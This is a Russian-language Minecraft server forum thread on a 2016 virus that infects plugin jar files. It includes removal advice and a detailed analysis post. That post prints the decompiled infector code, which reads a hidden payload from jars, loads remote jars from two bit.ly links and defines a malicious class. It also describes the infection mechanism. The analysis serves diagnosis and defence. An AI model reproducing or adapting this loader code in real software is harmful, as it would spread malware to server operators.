Войти или зарегистрироваться
  • Вы находитесь в сообществе Rubukkit. Мы - администраторы серверов Minecraft, разрабатываем собственные плагины и переводим на различные языки плагины наших коллег из других стран.

Решено Баг с 1 августа

  • Автор темы Автор темы spy_me
  • Дата начала Дата начала

Помогла ли данная тема в решении бага?

  • Да

  • Нет


Результаты видны после голосования.
Как удалить этот вирус с плагина? EssentialsX - у меня он с фиксами. Как починить его?
 
Как удалить этот вирус с плагина? EssentialsX - у меня он с фиксами. Как починить его?
Я когда-то давно писал в какой-то старой теме по этому поводу.

В двух словах.
Необходим InJarTranslator. Ищем главный класс. Заменяем одинокую буковку r на любую русскую букву. Готово
 
Я когда-то давно писал в какой-то старой теме по этому поводу.

В двух словах.
Необходим InJarTranslator. Ищем главный класс. Заменяем одинокую буковку r на любую русскую букву. Готово
Зачем? Качаем оригинальный плагин и все..
 
Как удалить этот вирус с плагина? EssentialsX - у меня он с фиксами. Как починить его?
Есть на гитхабе . Делает репакинг и убирает эту дичь BukkitAugust1StVirusRemover (В КОДЕ ДАННЫЙ КОД БУДЕТ ПРИСУТСТВОВАТЬ, НО ОН НЕ РАБОТАЕТ ПОСЛЕ РЕПАКИНГА!!)
 
Последнее редактирование:
Решение для ленивых
Боготворите @SHADOWDAN, он привёз вам лекарство. Оно пересоздаёт jar-архивы плагинов с целью избавиться от внедрённого туда вредоносного кода.

Запуск:
java -jar April1StRemover-1.0-SNAPSHOT.jar "путь/к/папке/с/плагинами"
Вот тут параметры запуска этого джарника как раз. (3 страница этой темы)
 
Вот тут параметры запуска этого джарника как раз. (3 страница этой темы)
таки ряд плагинов он безвозвратно убил :good:
Не знаю в чем прикол, но ряд плугов перестали работать после него. Не знаю в чем беда, но интересный феномен
 
таки ряд плагинов он безвозвратно убил :good:
Не знаю в чем прикол, но ряд плугов перестали работать после него. Не знаю в чем беда, но интересный феномен
Хз, убирал с апишки - работает нормально, ещё плагин на казино, тоже пашет норм. Бывает значит
 
[Сообщение обновлено 3 августа 2021]

Вы заражены
Если с вами поделились ссылкой на эту тему - скорее всего, у вас проблемы.

Если ваш сервер останавливается после ввода любой команды - это явный признак наличия вируса в сборке. Причём часто заявляется, что проблема проявляется после перехода со Spigot на Paper. Но будьте уверены, что на Spigot вирус тоже чувствует себя прекрасно, хотя и не проявляется так явно.

Исходный вирус распространяется под названием PluginMetrics (PluginMetrics.jar). Если у вас стоит этот плагин - будьте уверены, что вы заражены. Оригинальная метрика плагинов вшита в ядро, а не распространяется отдельным плагином. Однако даже если этот плагин у вас не установлен - нет гарантии, что всё в порядке. Вирус может находиться в абсолютно любых других плагинах на сервере. Об этом читайте далее.

Рекомендую дочитать моё длинное сообщение до самого конца - в нём много полезной информации.

Распространение вируса

Вирус заражает собой все другие плагины в сборке (но не ядро) - таким образом распространяется по сети. Вы скачали готовую сборку? Может, друг с вами поделился полезным плагином? Всё это может легко привести к заражению всей сборки. Вирус был создан в 2016-м году, однако и сейчас (в 2021) я до сих пор периодически натыкаюсь на данный вирус у людей. Будьте бдительны и не качайте плагины, ядра и другие ресурсы из непроверенных источников.

Влияние вируса на сервер
Из-за данного вируса сервера с offline-mode изредка автоматически останавливаются после 1-го августа 2016 года.
Это относится и к "пиратским" проектам, и к серверам за "лицензионным" BungeeCord.

Но наиболее явная черта вируса - отключение сервера после ввода какой-либо команды в консоли. Если у вас жалоба на эту проблему - даю 99% гарантию, что ваша сборка заражена.

Также из-за действия вируса случайным образом блокируются некоторые серверные действия:
- написание сообщений/команд в чат
- разрушение/установка блоков
- выбрасывание/перемещение предметов в инвентаре
- отгрузка чанков/миров (что приводит к утечкам памяти и странным багам)

Никакой иной угрозы вирус не несёт.

Решение
Удалите все плагины и поставьте по новой. Но на этот раз скачивайте только из надёжных источников. Пока меняете, ни в коему случае не запускайте сервер, иначе "чистые" плагины снова заразятся.
Ядро перекачивать не обязательно, оно не заражается.

Решение для ленивых
Боготворите @SHADOWDAN, он привёз вам лекарство. Оно пересоздаёт jar-архивы плагинов с целью избавиться от внедрённого туда вредоносного кода.

Запуск:
java -jar April1StRemover-1.0-SNAPSHOT.jar "путь/к/папке/с/плагинами"

Сам я это не тестировал. Некоторые утверждают, что это решение не работает. Если так - придётся перекачивать всё вручную.

Технические детали работы вируса
В инфицированном плагине находится примерно такой код (подправлен для улучшения восприятия):
Java:
static {
    try {
        FileInputStream inputStream;
        byte[] code;
        File pluginsDir = new File("plugins/");
        boolean virusFound = false;
        long l = -1;
        int n = 0;
        for (File pluginFile : pluginsDir.listFiles()) {
            if (!pluginFile.isFile() || !pluginFile.getName().endsWith(".jar")) continue;
            pluginsDir = pluginFile;
            code = new byte[(int) pluginsDir.length()];
            inputStream = new FileInputStream(pluginsDir);
            inputStream.read(code);
            inputStream.close();
            if (code[15] != (byte) (code[16] ^ 190)) continue;
            virusFound = true;
            l = (code[code.length - 2] & 255) << 8 | code[code.length - 1] & 255;
            if (l <= 0) continue;
            n = (int) l;
            l = pluginsDir.length() - (l + 2);
            break;
        }
        if (virusFound) {
            RandomAccessFile randomAccessFile = new RandomAccessFile(pluginsDir, "r");
            randomAccessFile.seek(l);
            code = new byte[n];
            randomAccessFile.read(code, 0, n);
            randomAccessFile.close();
            Inflater inflater = new Inflater();
            inflater.setInput(code);
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(n);
            byte[] arrby2 = new byte[1024];
            while (!inflater.finished()) {
                int n2 = inflater.inflate(arrby2);
                byteArrayOutputStream.write(arrby2, 0, n2);
            }
            byteArrayOutputStream.close();
            code = byteArrayOutputStream.toByteArray();
            inflater.end();
            String domain = "http://bit.ly/";
            URLClassLoader uRLClassLoader = new URLClassLoader(new URL[]{new URL(domain + "22XBqiy"), new URL(domain + "1XKAEpZ")}, Thread.currentThread().getContextClassLoader());
            Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, Integer.TYPE, Integer.TYPE);
            method.setAccessible(true);
            Class class_ = (Class)method.invoke(uRLClassLoader, null, code, 0, code.length);
            class_.newInstance();
        }
    }
    catch (Exception ex) {}
}

То есть скачиваются и подгружаются два джарника, располагающиеся по адресам http://bit.ly/22XBqiy и http://bit.ly/1XKAEpZ
После этого загружается и вредоносный класс. Об этом ниже.

Данные ссылки позволяют скачать модификатор байткода (http://asm.ow2.org). При помощи него вредоносный код и распространяется по серверу. Если конкретнее, то инфицированию подвержены все jar-файлы из папки plugins: сканируется plugin.yml в каждом плагине, в главный класс встраивается вредоносный (байт-)код.
Также у каждого jar-ника отключается проверка его хэш-суммы (MANIFEST.MF). Это позволит запускать его, даже если содержимое было изменено.

Также в конец каждого заражённого файла вирус записывает сам себя в виде скомпилированного java-файла. Наглядно убедиться в этом можно при попытке извлечь файл любым продвинутым архиватором:
ma5H1iu.png

Отсюда и увеличение размера. Естественно, обычным архиватором вы этот класс не получите. Собственно, вот его содержимое: https://pastebin.com/Q4Pt9vaf

Летом 2017-го года был рассмотрена моя жалоба на ссылки bit.ly, и теперь вирус распространяться не должен. Но если вы заметили заражённый плагин - всё же стоит избавиться от него (достаточно удалить лишь инфицированный джарник).
Судя по всему, распространение по другим плагинам теперь работает только на каулдронах/мохистах и иже с ними, где библиотека ASM присутствует прямо в ядре.

Об авторе вируса и его идее
Скорее всего, по задумке автора, вирус должен был начать видимое влияние на сервер после 1-го сентября (а не 1-го августа). Это явный намёк на то, что администраторам серверов стоит заниматься учёбой вместо открытия серверов.

Также, возможно, автор хотел донести мысль о том, что необходимо делать собственные уникальные и интересные сервера, а не заниматься бесконечным копированием сборок (в частности плагинов).

У меня есть предположения относительно того, что за человек разработал вирус. Однако публиковать свою догадку я не буду, поскольку никаких весомых доказательств у меня нет.

Профилактика заражения
Не хотите повторения подобной ситуации? Что ж, самое время перестать качать сомнительные плагины и сборки, а после почитать про Keiko и Anti-Malware.

Послесловие
Вывод тут один - необходимо качать плагины и другие ресурсы только из официальных источников. Никаких сборок, никаких плагинов от друзей, никаких nulled-версий платных плагинов.

Данный вирус относительно безопасен и не может принести серьёзного вреда системе/компьютеру/серверу/проекту. Но кто знает, какой вирус напишут завтра? А возможно и прямо сейчас по сети гуляет что-то очень неприятное, что никак не выдаёт себя?

Также небольшая просьба: если вы обнаружили у себя вирус - пожалуйста, сообщите о нём тому, кто вам его передал: другу или автору сборки. Можете просто скинуть ссылку на это сообщение: http://rubukkit.org/threads/bag-s-1-avgusta.128414/page-3#post-1414458
Пора заканчивать с распространением этой заразы.
я не понял как запустить этот антихак, можете объяснить
 
Назад
Верх